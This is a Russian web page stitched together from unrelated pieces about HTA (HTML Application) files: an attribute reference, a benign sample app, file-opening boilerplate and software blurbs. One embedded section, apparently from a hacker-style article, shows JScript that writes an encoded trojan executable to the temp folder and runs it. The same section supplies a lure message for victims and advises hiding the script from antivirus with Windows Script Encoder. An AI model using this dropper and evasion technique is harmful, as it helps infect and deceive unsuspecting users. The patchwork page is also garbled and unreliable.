Сайт о телевидении

Сайт о телевидении

» » HTML-приложения. Чем открыть файл.HTA

HTML-приложения. Чем открыть файл.HTA

HTA (HTML Application) - это простая технология, позволяющая создавать полезные приложения даже без знания серьезных языков программирования.

Создать HTA-приложение можно, просто написав HTML-страницу и сохранив ее с расширением .hta , которое обрабатывается программой mshta.exe , её задача - обеспечить связь программы с браузером. Так как такие приложения используют движок браузера, то они объединяют в себе все их возможности - их объектную модель, разметку страницы (HTML), каскадные листы стилей (CSS), скрипты (VBS и JS). Также на такие приложения не накладывается ограничения безопасности - они работают как любой исполняемый файл.

То есть при помощи HTML создается абсолютно любой пользовательский интерфейс, причем с минимальными усилиями и без каких-либо существенных ограничений, логика программы организуется кодом на Java Script или Visual Basic Script, а само приложение выходит за рамки браузера - программа на стадии выполнения ничем не будет отличаться от обычных оконных приложений для Windows - запущенное приложение будет присутствовать на панели задач, иметь собственные окно, меню и значок. Хотя здесь нужно оговориться: программа не будет видна среди запущенных приложений в диспетчере задач, единственное средство, которым можно контролировать запущенную программу - это процесс mshta.exe.

В то время, как расширение .hta указывает системе как работать с приложением, новый тег и аттрибуты указывают окну, как себя вести будучи приложением. Этот тег предоставляет ограниченный набор аттрибутов, управляющих всем от стиля границы окна и до программной иконки и меню. Для создания функционирующего HTA, этот тег должен быть описан внутри тега HEAD .

Элемент HTA:APPLICATION требует закрывающего тега.

... Так как тэг элемента HTA:APPLICATION является пустым, он также может быть закрыт использую следующий прием.

При использовании вышеуказанного приема, прямому слэшу (/) должен предшествовать пробельный символ.

Помимо управлением окном приложения, этот тег также дает возможность обращаться к свойствам приложения из скриптов, расположенных в коде HTA-приложения. Стоит заметить, что все свойства этого тега доступны только для чтения.

Атрибут и свойство id

Определяет идентификатор объекта - уникального имени внутри файла HTA-приложения.

Атрибут и свойство applicationName

Содержит имя приложения. Свойство не имеет значения по умолчанию.

Будучи установленным в true , свойство singleInstance проверяет значение applicationName перед запуском экземпляра приложения. Чтобы проверка была успешной, значение applicationName должно быть уникальным. Можно использовать значение свойства applicationName для идентификации единственности запущенного приложения, независимо от адреса URL, используемого для доступа к нему.

Атрибут и свойство border

Содержит тип бордюра окна. Свойство border влияет на толщину бордюра и действительно только для окон HTA , у которых есть панель заголовка и сам заголовок. Устанавливая border в "None", вы убираете панель заголовка, иконку программы, и кнопки максимизирования и минимизирования. Это свойство может быть использовано совместно со свойством borderStyle . Возможные значения:

Примечание

Если не указать параметр BORDER или указать BORDER="thick" , то размеры окна программы можно будет изменять при помощи мыши, в остальных же случаях, - размеры окна изменить нельзя.

Атрибут и свойство borderStyle

Содержит стиль бордюра клиентской области окна. Свойство borderStyle устанавливает стиль для бордюра содержимого окна, в то время как свойство border контролирует бордюр окна приложения. Возможные значения:

Атрибут и свойство caption

Определяет, будет ли в окне HTML приложения отображаться панель заголовка. Заголовок приложения отображается только тогда, когда свойство caption установлено в "Yes". Отключение свойства caption также отключит кнопки "Свернуть", "Развернуть" и программную иконку. В этом случае нужно не забыть предоставить альтернативный способ выхода из приложения, например, кнопку "Закрыть" на форме приложения, вызывающую метод Window.Close . Возможные значения:

Свойство commandLine

Строка, которая содержит путь и параметры командной строки, которые использовались для запуска HTA-приложения. Если HTA-приложение было запущено с использованием HTTP протокола, свойство CommandLine содержит пустую строку.

Атрибут и свойство contextMenu

Определяет, появляется ли контекстное меню при нажатии на правую кнопку мыши. Возможные значения:

Атрибут и свойство icon

Определяет путь к файлу иконки, используемой в HTML приложении. HTA использует системную иконку, если значение не определено. Атрибут Icon распознаёт стандартные файлы с расширением.ico , содержащие изображение размером 32x32 пикселя, а также успешно распознаёт первую иконку из файлов "*.exe", "*.icl" (библиотека иконок), "*.dll", и "*.ocx".

Атрибут и свойство innerBorder

Определяет, отображается ли внутренняя 3-D граница. Возможные значения:

Атрибут и свойство maximizeButton

Определяет, отображается ли кнопка "Развернуть" на панели заголовка окна HTML приложения. Чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption). Возможные значения:

Атрибут и свойство minimizeButton

Определяет, отображается ли кнопка "Свернуть" на панели заголовка окна HTML приложения. Чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption). Возможные значения:

Атрибут и свойство navigable

Определяет, в каком окне будут открываться загружаемые документы. Возможные значения:

Атрибут и свойство scroll

Определяет, будут ли отображаться полосы прокрутки. Возможные значения:

Атрибут и свойство scrollFlat

Определяет, в каком виде будут отображаться полосы прокрутки. Возможные значения:

Атрибут и свойство selection

Определяет, может ли содержимое документа быть выбрано мышкой или с помощью клавиатуры. Значение "No" запрещает появление контекстного меню и присвоение атрибуту contextMenu значения "Yes" не произведёт никакого эффекта. Возможные значения:

Атрибут и свойство showInTaskBar

Определяет, будет ли HTML приложение появляться на панели задач Windows. Возможные значения:

Атрибут и свойство singleInstance

Определяет, может ли быть запущенно больше одного экземпляра HTML приложения одновременно. Возможные значения:

Атрибут и свойство sysMenu

Определяет, отображается ли системное меню в HTML приложении. Системное меню HTA обозначается программной иконкой в левом углу панели заголовка. Системное меню HTA показывает все команды, входящие в стандартное системное меню Windows, включая "Восстановить", "Переместить", "Размер", "Свернуть", "Развернуть", и "Закрыть". Возможные значения:

Атрибут и свойство version

Определяет номер версии HTML приложения.

Атрибут и свойство windowState

Определяет начальные размеры окна HTML приложения. Возможные значения:

Пример

В этом маленьком примере объединены объектная модель, разметка страницы (HTML), каскадный лист стилей (CSS), Javascript и элементы WSH.

В папке "MyHTA_files" размещаются следующие файлы:

  • text.txt- любой текстовый файл;
  • test.js- файл, содержащий только одну строку: WScript.Echo ("Hello script!");
  • MyHTA.ico - любая иконка;
  • MyHTA.css - файл стилей;
  • MyHTA.js- файл, содержащий все скрипты.
Листинг файла "MyHTA.hta" Моё HTA-приложение
Моё HTA-приложение
Добро пожаловать
Листинг файла "MyHTA_files\MyHTA.js" // Процедура инициализации окна формы function WindowOnLoad () { var iWidth = 800, iHeight = 500; // Размер окна // Изменение размера окна и его центрирование var iLeft = (screen.availWidth - iWidth) / 2; var iTop = (screen.availHeight - iHeight) / 2; focus(); resizeTo (iWidth, iHeight); moveTo (iLeft, iTop); // Вывод версии приложения на форму Version_Div.innerHTML = "Версия: " + oHTA.Version; } var attributes = ["id","", "applicationName","", "border","Thick", "borderStyle","Normal", "caption", "Yes", "commandLine","Yes", "contextMenu","", "icon","", "innerBorder","Yes", "maximizeButton","Yes", "minimizeButton","Yes", "navigable","No", "scroll","Yes", "scrollFlat","No", "selection","Yes", "showInTaskBar","Yes", "singleInstance","No", "sysMenu","Yes", "version","", "windowState","Normal" ]; function RunApplication(sApplication) { var sCommandLine = ""; var oShell = new ActiveXObject("WScript.Shell"); switch (sApplication) { case "CommandPrompt": sCommandLine = "%ComSpec%"; DynamicContent_Div.innerHTML = "Командная строка открыта"; break; case "TestScript": if (CheckFile(oShell.CurrentDirectory + "\\MyHTA_files\\Test.js")) { sCommandLine = "WScript "" + oShell.CurrentDirectory + "\\MyHTA_files\\Test.js""; DynamicContent_Div.innerHTML = "Скрипт " + oShell.CurrentDirectory + "\MyHTA_files\Test.js" + " выполнен"; } else DynamicContent_Div.innerHTML = "Файл не найден"; break; case "TextFile": if (CheckFile(oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt")) { DynamicContent_Div.innerHTML = "Выберите режим отображения содержимого файла:
    " + "" + ""; } else DynamicContent_Div.innerHTML = "Файл не найден"; break; case "TextFile_Form": DynamicContent_Div.innerHTML = "Текстовый файл: " + oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt" + "Закрыть" + "" + ReadFile(oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt") + ""; break; case "TextFile_Notepad": sCommandLine = "Notepad "" + oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt""; DynamicContent_Div.innerHTML = "Файл " + oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt" + " открыт в блокноте"; break; case "TextFile_Close": DynamicContent_Div.innerHTML = "Добро пожаловать"; break; case "TempDir": sCommandLine = "Explorer " + oShell.ExpandEnvironmentStrings("%Temp%"); DynamicContent_Div.innerHTML = "Папка временных файлов открыта"; break; case "Attributes": var s = "Атрибуты (Свойства)"; for (var i=0; i < attributes.length; i+=2) s += ""+ attributes[i]+ " = " + (oHTA] || attributes) + "
    "; DynamicContent_Div.innerHTML = s + ""; break; case "default": sCommandLine =""; break; } if (sCommandLine.length > 0) oShell.Run (sCommandLine,1,0); } function ReadFile(sFileName) { var oFSO = new ActiveXObject("Scripting.FileSystemObject"); var oInFile = oFSO.OpenTextFile(sFileName, 1, false, 0) var sFileContent = oInFile.ReadAll(); oInFile.Close(); return sFileContent; } function CheckFile(sFilePath) { var oFSO = new ActiveXObject("Scripting.FileSystemObject") return oFSO.FileExists(sFilePath) ? true: false; } Листинг файла "MyHTA_files\MyHTA.css" body { background-color: buttonface; font-family: Tahoma; } h1 { font-size: 18px; margin: 0px;} table { height: 100%; width: 100%; } .Header_Row { height:40px; } .Content_Row { vertical-align: top; } #StaticMenu_Cell { width: 20%; text-align: center; } #StaticMenu_Cell input { width: 150px; margin: 2px; } #DynamicContent_Cell { margin: 2px; } #DynamicContent_Cell #DynamicContent_Div { text-align: center; } .NormalLink { font-family: Tahoma; font-size: 10pt; color: navy; cursor: pointer; text-align: left; padding-right: 20px } .NormalLink:hover { color: red; } #DynamicContent_Cell #DynamicContent_Div .TextFile { font-family: Tahoma; font-size: 10pt; text-align: left; margin-top: 10px; } .Footer_Row { height:30px; } #Version_Div { float: left; } #Button_Div { float: right; } .attr { text-align: left; font-size: 10pt; margin-left:20px; } Что это за файл - HTA?

    Файлы с расширением.HTA содержат HTML-код и возможный код сценария на языке VBScript или JScript и обычно могут запускаться в окне веб-браузера. Файлы HTA в Windows выполняются узлом приложения Microsoft HTML - Mshta.Exe - после двойного щелчка по ним.

    Если файл HTA находится в Интернете, браузер обычно предоставляет диалоговое окно с вопросом, хотите ли вы запустить или сохранить файл. Файл HTA можно создать, изменив расширение файла с на.HTA.

    Программа(ы), умеющие открыть файл .HTA Windows Mac OS

    Если появилась ситуация, в которой Вы не можете открыть файл HTA на своем компьютере - причин может быть несколько. Первой и одновременно самой важной (встречается чаще всего) является отсутствие соответствующей аппликации обслуживающей HTA среди установленных на Вашем компьютере.

    Самым простым способом решения этой проблемы является нахождение и скачивание соответствующей аппликации. Первая часть задания, уже выполнена, - программы для обслуживания файла HTA Вы найдете ниже. Теперь достаточно скачать и установить соответствующую аппликацию.

    В дальнейшей части этой страницы Вы найдете другие возможные причины, вызывающие проблемы с файлами HTA.

    Возможные проблемы с файлами в формате HTA

    Отсутствие возможности открытия и работы с файлом HTA, совсем не должен значить, что мы не имеем установленного на своем компьютере соответствующего программного обеспечения. Могут выступать другие проблемы, которые также блокируют нам возможность работы с файлом HTML Program Format. Ниже находится список возможных проблем.

    • Повреждение открываемого файла HTA.
    • Ошибочные связи файла HTA в записях реестра.
    • Случайное удаление описания расширения HTA из реестра Windows
    • Некомплектная установка аппликации, обслуживающей формат HTA
    • Открываемый файл HTA инфицирован нежелательным, вредным программным обеспечением.
    • На компьютере слишком мало места, чтобы открыть файл HTA.
    • Драйверы оборудования, используемого компьютером для открытия файла HTA неактуальные.

    Если Вы уверены, что все перечисленные поводы отсутствуют в Вашем случае (или были уже исключены), файл HTA должен сотрудничать с Вашими программами без каких либо проблем. Если проблема с файлом HTA все-таки не решена, это может значить, что в этом случае появилась другая, редкая проблема с файлом HTA. В таком случае остается только помощь специалиста.

    .a6p Adobe Authorware Application Format
    .action Mac OS X Automator Action Format
    .actm Autodesk AutoCAD Action Macro Format
    .ahk AutoHotkey Script Format
    .air Adobe AIR Rich Internet Applications
    .apk Google Android Package Format
    .app MAC Application Package Or Core System Service Format
    .applescript AppleScript Script Format
    Как связать файл с установленной программой?

    Если Вы хотите связать какой-то файл с новой программой (напр. moj-plik.HTA) Вы можете воспользоваться двумя вариантами. Первый и самый простой - это нажатие правой кнопкой мышки на избранный файл HTA. Из открытого меню выберите опцию Выбрать программу по умолчанию" , затем опцию "Пересматривать" и найти требуемую программу. Всю операцию необходимо утвердить нажатием кнопки OK.

    Есть ли универсальный метод открытия неизвестных файлов?

    Многие файлы содержат данные в виде текста или чисел. Возможно, что во время открытия неизвестных файлов (напр. HTA) популярный в системе Windows простой редактор текста, которым является Notatnik позволит нам увидеть часть данных, закодированных в файле. Этот метод позволяет просмотреть содержимое многих файлов, однако не в такой форме, как программа, предназначенная для их обслуживания.

    - Расширение (формат) - это символы в конце файла после последней точки.
    - Компьютер определяет тип файла именно по расширению.
    - По умолчанию Windows не показывает расширения имен файлов.
    - В имени файла и расширении нельзя использовать некоторые символы.
    - Не все форматы имеют отношение к одной и той же программе.
    - Ниже находятся все программы с помощью которых можно открыть файл HTA.

    XnView - довольно мощная программа, сочетающая в себе множество функций по работе с изображениями. Это может быть и простой просмотр файлов, и их конвертирование, и незначительная обработка. Является кроссплатформенной, что позволяет использовать её практически в любой системе. Программа уникальна ещё и тем, что поддерживает около 400 различных форматов изображений, среди которых встречаются как самые используемые и популярные, так и нестандартные форматы. XnView может производить пакетную конвертацию изображений. Правда, сконвертировать их можно только в 50 форматов, но среди этих 50 форматов присутствуют все популярные расшир...

    Многие пользователи MS Windows давно успели заметить, что стандартный блокнот - это довольно неудобная в своем использовании программа. Заменой ей может стать данный бесплатный редактор текстовых файлов, обеспечивающий поддержку синтаксиса большого количества языков программирования. Программа содержит в себе довольно широкий набор опций и отличается минимальным потреблением ресурсов процессора. Программа делает возможным одновременный просмотр нескольких документов сразу и редактирование их, без закрытия лишних окон. Доступной стала и такая опция, как редактирование одного и того же документа в разных местах, что очень удобно...

    Notepad2 – простое приложение, позволяющее печатать и редактировать текст. Она поможет в создании HTML-страниц, программировании на различных языках (CSS, Java, JavaScript, Python, SQL, Perl, PHP) так как способна подсвечивать код. Программа построена по принципу простого блокнота, она маловесна и компактна. Этот текстовый редактор проверяет все скобки на наличие пары, поддерживает авто отступы. Программа Notepad2 не только поддерживает кодировки ASCII и UTF-8, но и умеет их конвертировать. Позволяет откатывать нежелательные операции на много уровней назад. Поддерживает блочное выделение элементов текста и имеет нумерованные ст...

    XnConvert – полезная утилита для конвертирования и первичной обработки фотографий и изображений. Работает с 400+ форматами. Поддерживает все популярные графические форматы. С помощью простых инструментов XnConvert можно регулировать яркость, гамму и контрастность. В приложении можно менять размер фотографий, накладывать фильтры и ряд популярных эффектов. Пользователь может добавлять водяные знаки и заниматься ретушью. При помощи приложения можно удалять мета-данные, обрезать файлы и вращать их. XnConvert поддерживает журнал, в котором пользователь увидит всю подробную информацию о своих недавних манипуляциях с изображениями.

    В интернете очень много программ, позволяющих редактировать исходный код другой программы, файла и др. Однако большинство из подобных программ являются всего лишь текстовым редактором наподобие блокнота. Отличаются они от вышеуказанного редактора лишь тем, что имеют подсветку синтаксиса. Однако в некоторых случаях, такого функционала программы оказывается недостаточно. Программисту бывает необходимо быстро находить различные части документа. И вот, наконец-то, в появилась программа, позволяющая решить эту проблему. Программа называется SynWrite. Её отличительная особенность – наличие навигационной панели с деревом, котор...

    Как-то раз я, листая MSDN, совершенно случайно наткнулся на
    описание одной технологии, которая, как выяснилось, поддерживается еще
    со времен 5-й версии MSIE. Назвается она HTML Applications. Суть в том,
    что если html-контент сохранить в файл с расширением.hta и между
    и вставить специальный тег , то к этому контенту
    не применяются никакие ограничения, связанные с безопасностью, т. е. на странице могут присутствовать любые элементы управления, скрипты могут
    создавать любые COM-объекты, писать в любые файлы и получать доступ к
    контенту во фреймах, независимо от того, из какого домена он был
    загружен. Это дает возможность создавать
    полнофункциональные приложения с HTML-интерфейсом. Если же JavaScript не подходит для отдельных частей
    программы, то их можно реализовать в виде ActiveX объектов, а DHTML
    использовать только для создания GUI. Очевидно, эта технология появилась
    вследствие тенденции использования движка MSIE, где надо и где не надо. О безопасности
    мелкомягкие тоже подумали. Простая вставка тега
    не превращает пагу в доверенный источник. Если открыть
    ссылку на hta-файл, то, как и при открытии exeшников из инета,
    появляется диалог с кнопками «Открыть», «Сохранить» и
    т.д., предупреждающий, что этот контент может представлять опасность.
    Всё правильно, но опытный распространитель троянов сумеет впарить такой
    файл юзверю, не знающему об этой технологии. А уж возможностей скриптов
    и компонентов, установленных на любой windows-тачке,
    достаточно, чтобы скачать и установить какую-нибудь прогу, прописаться в автозагрузке и
    даже стереть все файлы, если это доступно текущему пользователю. HTA-файл может быть вполне работоспособным и полезным
    приложением. Хотя использовать эту технологию в коммерческом софте
    трудно, поскольку HTML/JavaScript исполняется в виде исходника и,
    следовательно, не может содержать платных или секретных алгоритмов.

    Атрибуты тега APPLICATION

    Этот тег не может содержать внутри себя никаких тегов или
    текста, но требует закрывающего тега. Можно писать так:

    , а можно так:
    , как в XML.

    У тега APPLICATION есть довольно много атрибутов, с помощью
    которых устанавливаются свойства окна. Все они необязательны, и если
    тебе безразличен вид окна твоего приложения, то можешь их не указывать. Атрибуты доступны из скриптов, что позволяет изменять свойства
    окна, сворачивать/разворачивать и т.д. Вот список атрибутов с краткими пояснениями:

    applicationName — имя приложения
    version — его версия
    border — тип границы окна
    borderStyle — стиль границы
    caption — показывать ли заголовок окна
    commandLine — возвращает аргументы командной строки
    contextMenu — показывать ли контекстное меню
    icon — иконка окна
    innerBorder — внутренная 3D-рамка
    maximizeButton,
    minimizeButton,
    sysMenu — показывать ли соответствующие кнопки
    navigable — открывать ссылки в том же окне
    scroll,
    scrollFlat — свойства скроллбара
    selection — разрешать выделение
    showInTaskBar — show in taskbar
    singleInstance — только один экземпляр может быть запущен
    windowState — состояние окна

    Старт из HTML

    Теперь конкретный пример того, что можно сделать, имея
    возможность впарить юзеру HTA-файл. Допустим, у тебя есть готовый
    троян в виде exe-файла, и тебе не терпится совместить его с новой
    технологией. Трояны обычно бывают маленькими, и, думаю, что ничего страшного
    не произойдет, если размер нашего HTML-приложения будет немного больше.
    Для того, чтобы вставить бинарные данные в текст, нам потребуется их
    закодировать. В JavaScript поддерживается стандартное кодирование урлов.
    Этот метод годится только, если нетекстовых символов в коде мало. Если
    их много (а так обычно бывает, так как внутри ехе-файлов заголовки и
    секции дополняются нулами для выравнивания), то этот метод не самый
    хороший. В худшем случае код будет втрое длиннее исходного. Гораздо
    лучше было бы заюзать кодировку base64, при которой размер любых данных
    увеличивается на 33%, но я не нашел в JavaScript встроенных
    средств кодирования и декодирования по base64, а реализовывать их прямо на
    JavaScript как-то некрасиво, имхо. Так что кодировать будем функцией
    escape(), а декодировать — unescape(). Эксперимент показывает, что эти
    функции работают со строками любой длины. Так что можно записать весь
    экзешник одной строковой константой в скрипте.

    Итак, алгоритм, который нужно реализовать в скрипте, такой:

    1) Раскодировать содержимое исполняемого файла
    2) Записать его
    3) Запустить

    Отметим один момент: важно не лопухнуться с выбором места для
    файла. Если юзер не админ, то записать файл куда-попало не получится.
    Нужно узнать от системы путь, например, папки temp (а это мы сделаем
    тоже средствами JavaScript), и записать файл туда.

    Итак, затрояненный HTA-файл может выглядеть примерно так.


    code = «MZ%90%00%03%00%00%00%04 …… «; // Закодированный троян

    var fso = new ActiveXObject(«Scripting.FileSystemObject»);

    var tf = fso.GetSpecialFolder(2); // Получим windows\temp
    var fn = tf + «\\x.exe»; // Добавим имя файла

    var a = fso.CreateTextFile(fn, true); // Запишем в файл тело трояна
    a.Write(unescape(code));
    a.Close();

    var WshShell = new ActiveXObject(«WScript.Shell»);
    WshShell.Exec(fn); // Запустим его




    Привет, чувак!
    TheBat не показывает картинки, так что открой этот файл в Ехплорере.

    Неплохо еще защитить скрипт от обнаружения антивирусом.
    Существуют проги, изменяющие скрипты до неузнаваемости. Они называются
    obfuscators (подробнее о них можешь прочитать в ). Microsoft предлагает свой обфускатор — Windows Script
    Encoder. Он шифрует скрипты, а расшифровщик встроен в состему.
    Инструкция честно предупреждает, что Windows Script Encoder не защитит
    код от целеустремленного хакера. От хакера, может, и не защитит, а от
    антивируса защитит. Нужно только скормить ему готовый HTA-файл,
    и вместо скрипта появится какая-то абракадабра, а вместо
    «JavaScript» будет написано «JavaScript.Encoded». Нельзя забывать о том, что ехе-компоненту тоже необходимо
    сделать неузнаваемой, так как она записывается на диск, и при этом
    может быть обнаружена антивирусным монитором.

    Формат HTA или как веб-страничку превратить в программу

    Ну так вот. Открыв файлик *.hta тектовым редактором, я, как и ожидал, увидел кучу тегов. Все, вроде, понятно и доступно. Единственное отличие - поле в разделе HEAD . В этом поле указываются параметры, относящиеся к внешнему виду окна, в котором будет отображаться HTML содержимое, поскольку, файлик *.hta является вполне себе самодостаточным и не требует ничего, кроме наличия на компьютере ослика IE версии > 5.0. А параметры там вот такие:


    APPLICATIONNAME
    Атрибут - APPLICATIONNAME, свойство - applicationName. Содержит имя приложения. Это свойство доступно только для чтения и не имеет значения по умолчанию. Если свойство singleInstance установлено в true, значение applicationName автоматически проверяется перед запуском экземпляра приложения. Чтобы проверка была успешной, значение applicationName должно быть уникальным. Таким образом, значение свойства applicationName используется для идентификации единственности запущенного приложения, независимо от адреса URL, используемого для доступа к нему. BORDER
    Атрибут - BORDER, свойство - border. Содержит тип бордюра окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "thick". Свойство border влияет на толщину бордюра и действительно только для окон HTA, у которых есть панель заголовка и сам заголовок. Устанавливая border в "none", вы убираете панель заголовка, иконку программы, и кнопки максимизирования и минимизирования. Это свойство может быть использовано со свойством borderStyle.
    Возможные значения:
    thick По умолчанию. Толстый бордюр окна, плюс бордюр для изменения размера окна.
    dialog Бордюр диалогового окна.
    none Окно без бордюра.
    thin Тонкий бордюр окна с заголовком.
    BORDERSTYLE
    Атрибут - BORDERSTYLE, свойство - borderStyle. Содержит стиль бордюра клиентской области окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "normal". Свойство borderStyle устанавливает стиль для бордюра содержимого окна, в то время как свойство border контролирует бордюр окна приложения.
    Возможные значения:
    normal По умолчанию. Нормальный бордюр.
    complex Приподнятый и утопленный бордюр.
    raised Приподнятый 3-D бордюр.
    static 3-D бордюр, обычно используемый для окон, не обрабатывающих ввод пользователя.
    sunken Утопленный 3-D бордюр. CAPTION
    Атрибут - CAPTION, свойство - caption. Определяет, будет ли в окне HTML приложения отображаться панель заголовка. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Заголовок приложения (title) отображается только тогда, когда свойство caption установлено в yes. Отключение свойства caption также отключит кнопки "Свернуть", "Развернуть" и программную иконку. В этом случае вы должны предоставить альтернативный способ выхода из приложения, например, кнопку, вызывающую метод close объекта window.
    Возможные значения:
    yes По умолчанию. Панель заголовка отображается.
    no Панель заголовка не отображается. COMMANDLINE
    Свойство - commandLine. Строка, которая содержит путь и параметры командной строки, которые использовались для запуска HTA-приложения. Это свойство доступно только для чтения и не имеет значения по умолчанию. Если HTA-приложение было запущено с использованием HTTP протокола, свойство commandLine содержит пустую строку.
    CONTEXTMENU
    Атрибут - CONTEXTMENU, свойство - contextMenu. Определяет, появляется ли контекстное меню при нажатии на правую кнопку мыши. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
    Возможные значения:
    yes По умолчанию. Контекстное меню появляется.
    no Контекстное меню не появляется. ICON
    Атрибут - ICON, свойство - icon. Определяет путь к файлу иконки, используемой в HTML приложении. Это свойство доступно только для чтения и имеет значение по умолчанию "System Application Icon". HTA использует системную иконку, если значение не определено. Атрибут icon распознаёт стандартные файлы с расширением.ico, содержащие изображение размером 32x32 пиксела. INNERBORDER
    Атрибут - INNERBORDER, свойство - innerBorder. Определяет, отображается ли внутренняя 3-D граница. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
    Возможные значения:
    yes По умолчанию. Внутренняя 3-D граница отображается.
    no Внутренняя 3-D граница не отображается. MAXIMIZEBUTTON
    Атрибут - MAXIMIZEBUTTON, свойство - maximizeButton. Определяет, отображается ли кнопка "Развернуть" на панели заголовка окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Для того, чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption).
    Возможные значения:
    yes По умолчанию. Кнопка "Развернуть" отображается.
    no Кнопка "Развернуть" не отображается. MINIMIZEBUTTON
    Атрибут - MINIMIZEBUTTON, свойство - minimizeButton. Определяет, отображается ли кнопка "Свернуть" на панели заголовка окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Для того, чтобы отображались кнопки "Свернуть" и "Развернуть", окно должно иметь панель заголовка (атрибут caption).
    Возможные значения:
    yes По умолчанию. Кнопка "Свернуть" отображается.
    no Кнопка "Свернуть" не отображается. NAVIGABLE Атрибут - NAVIGABLE, свойство - navigable. Определяет, в каком окне будут открываться загружаемые документы: в основном окне HTML приложения, или в новом окне. Это свойство доступно только для чтения и имеет значение по умолчанию "no".
    Возможные значения:
    no По умолчанию. Будут открываться в новых окнах.
    yes Будут открываться в основном окне. SCROLL
    Атрибут - SCROLL, свойство - scroll. Определяет, будут ли отображаться полосы прокрутки. Это свойство доступно только для чтения и имеет значение по умолчанию "yes". Установка значения свойства body.scroll равным "no" - это альтернативный способ предотвратить появление полос прокрутки.
    Возможные значения:
    yes По умолчанию. Полосы прокрутки отображаются.
    no Полосы прокрутки не отображаются.
    auto Полосы прокрутки появляются только тогда, когда содержимое документа не умещается в клиентской области окна. SCROLLFLAT
    Атрибут - SCROLLFLAT, свойство - scrollFlat. Определяет, в каком виде будут отображаться полосы прокрутки: в 3-х мерном, или в 2-х мерном виде. Это свойство доступно только для чтения и имеет значение по умолчанию "no".
    Возможные значения:
    yes Полосы прокрутки двухмерные.
    no По умолчанию. Полосы прокрутки трёхмерные. SELECTION
    Атрибут - SELECTION, свойство - selection. Определяет, может ли содержимое документа быть выбрано мышкой или с помощью клавиатуры. Присвоение атрибуту SELECTION значения "no" запрещает появление контекстного меню. В этом случае присвоение атрибуту CONTEXTMENU значения "yes" не произведёт никакого эффекта. Использование в документе редактируемых элементов переопределяет значение selection. Любой объект может быть выбран, когда значение свойства contentEditable установлено в true где угодно в HTML приложении. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
    Возможные значения:
    yes По умолчанию. Содержимое может быть выбрано.
    no Содержимое не может быть выбрано. SHOWINTASKBAR
    Атрибут - SHOWINTASKBAR, свойство - showInTaskBar. Определяет, будет ли HTML приложение появляться на панели задач Windows. Свойство showInTaskBar не влияет на появление приложения в списке приложений, который появляется, когда пользователь нажимает ALT+TAB. Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
    Возможные значения:
    yes По умолчанию. Приложение отображается на панели задач.
    no Приложение не отображается на панели задач. SINGLEINSTANCE
    Атрибут - SINGLEINSTANCE, свойство - showInTaskBar. Определяет, может ли быть запущенно больше одного экземпляра HTML приложения одновременно. Это свойство доступно только для чтения и имеет значение по умолчанию "no".
    Возможные значения:
    yes Только один экземпляр приложения может быть запущен.
    no По умолчанию. Может быть запущенно несколько экземпляров приложения одновременно. SYSMENU
    Атрибут - SYSMENU, свойство - sysmenu. Определяет, отображается ли системное меню в HTML приложении. Системное меню HTA обозначается программной иконкой в левом углу панели заголовка. Системное меню HTA показывает все команды, входящие в стандартное системное меню Windows, включая "Восстановить", "Переместить", "Размер", "Свернуть", "Развернуть", и "Закрыть". Это свойство доступно только для чтения и имеет значение по умолчанию "yes".
    Возможные значения:
    yes По умолчанию. Системное меню отображается в панели заголовка.
    no Системное меню не отображается в панели заголовка. VERSION
    Атрибут - VERSION, свойство - version. Определяет номер версии HTML приложения (строка). Это свойство доступно только для чтения и не имеет значения по умолчанию. WINDOWSTATE
    Атрибут - WINDOWSTATE, свойство - windowState. Определяет начальные размеры окна HTML приложения. Это свойство доступно только для чтения и имеет значение по умолчанию "normal".
    Возможные значения:
    normal По умолчанию. Размер окна - стандартный размер для Microsoft Internet Explorer.
    minimize Появляется только заголовок окна на панели задач.
    maximize Окно появляется развёрнутым во весь экран.

    А возможность использования в таких файлах Java и VB скриптов позволяет делать вообще все что угодно. Кроме того, исполняются они в зоне "Мой компьютер", как и обычные приложения, что существенно снижает требования к безопасности скриптов со стороны IE.
    В общем, приложив немного фантазии я накатал простенькую менюшку для запуска приложений с флешки, которую и выкладываю тут. Смотрите, разбирайтесь.